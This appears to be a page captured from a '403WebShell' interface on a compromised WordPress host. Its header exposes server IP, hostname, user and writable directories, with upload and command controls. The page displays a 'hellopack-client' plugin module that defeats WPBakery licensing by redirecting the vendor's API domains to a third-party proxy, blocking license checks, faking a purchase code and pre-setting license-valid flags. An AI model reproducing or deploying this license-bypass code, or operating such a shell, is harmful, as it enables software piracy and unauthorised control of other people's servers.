$plugin = <<403WebShell
403Webshell
Server IP : 193.224.177.188  /  Your IP : 216.73.216.209
Web Server : Apache
System : Linux cpanel.krtk.mta.hu 3.10.0-962.3.2.lve1.5.89.el7.x86_64 #1 SMP Thu Jul 9 15:55:31 UTC 2026 x86_64
User : krtkhu ( 1061)
PHP Version : 8.4.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/krtkhu/public_html/wp-content/plugins/hellopack-client/modules/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home2/krtkhu/public_html/wp-content/plugins/hellopack-client/modules//js-composer.php
<?php
/**
 * WPBakery Page Builder (JS Composer) module.
 *
 * Redirects WPBakery API calls to GLS3.
 * Three domains: support.wpbakery.com, updates.wpbakery.com, api-ai.wpbakery.com.
 *
 * @package HelloPack\Client
 */

declare( strict_types=1 );

namespace HelloPack\Modules;

use HelloPack\Client\Module\AbstractModule;
use HelloPack\Client\License\ApiRedirector;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * WPBakery Page Builder license module.
 */
class Js_Composer extends AbstractModule {

	/**
	 * Placeholder license key (UUID v4 format).
	 * Real key lives only in the GLS3 handler for proxy requests.
	 *
	 * @var string
	 */
	private const LICENSE_KEY = 'hellopack-0000-4000-a000-000000000000';

	/**
	 * Set up module properties.
	 */
	public function setup(): void {
		$this->id          = 'js-composer';
		$this->name        = 'WPBakery Page Builder';
		$this->description = 'Manages WPBakery Page Builder license via GLS3.';
		$this->category    = 'plugin';
		$this->version     = '2.0.0';
		$this->target      = array(
			'plugin_dir'  => 'js_composer',
			'plugin_file' => 'js_composer.php',
		);
		$this->target_id   = '2486703837';

		$this->blocked_domains = array(
			'support.wpbakery.com/check-license-key' => self::generic_block(),
			'updates.wpbakery.com'                   => self::generic_block(),
		);
	}

	/**
	 * Initialize module.
	 */
	public function init(): void {
		ApiRedirector::create(
			'https://support.wpbakery.com',
			HELLOPACK_GLS3_URL . '/wpbakery'
		);

		ApiRedirector::create(
			'https://updates.wpbakery.com',
			HELLOPACK_GLS3_URL . '/wpbakery'
		);

		ApiRedirector::create(
			'https://api-ai.wpbakery.com',
			HELLOPACK_GLS3_URL . '/wpbakery'
		);

		$this->setup_license();

		// Remove WPBakery's upgrader_pre_download filter that checks the license
		// domain before downloading. HelloPack provides updates via its own central
		// updater, so this check is unnecessary and causes "License is activated on
		// another domain" errors.
		add_action( 'admin_init', array( $this, 'disable_upgrader_pre_download' ), 20 );

		// Pre-populate WPBakery license check transients.
		$site_hash = md5( site_url() );
		if ( false === get_transient( 'wpb_license_key_check_' . $site_hash ) ) {
			set_transient( 'wpb_license_key_check_' . $site_hash, true, YEAR_IN_SECONDS );
		}
		if ( false === get_transient( 'wpb_support_expire_check_' . $site_hash ) ) {
			set_transient( 'wpb_support_expire_check_' . $site_hash, true, YEAR_IN_SECONDS );
		}
	}

	/**
	 * Remove WPBakery's preUpgradeFilter to prevent domain mismatch errors.
	 */
	public function disable_upgrader_pre_download(): void {
		if ( function_exists( 'vc_updater' ) ) {
			remove_filter( 'upgrader_pre_download', array( vc_updater(), 'preUpgradeFilter' ), 10 );
		}
	}

	/**
	 * Set up license data.
	 *
	 * Option: wpb_js_js_composer_purchase_code — the license key.
	 * Option: wpb_license_errors — empty array means no errors.
	 */
	private function setup_license(): void {
		hellopack_ensure_option( 'wpb_js_js_composer_purchase_code', self::LICENSE_KEY );
		hellopack_ensure_option( 'wpb_license_errors', array() );
	}

	/**
	 * Cleanup on disable.
	 */
	public function cleanup(): void {
		hellopack_delete_option( 'wpb_js_js_composer_purchase_code' );
		hellopack_delete_option( 'wpb_license_errors' );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit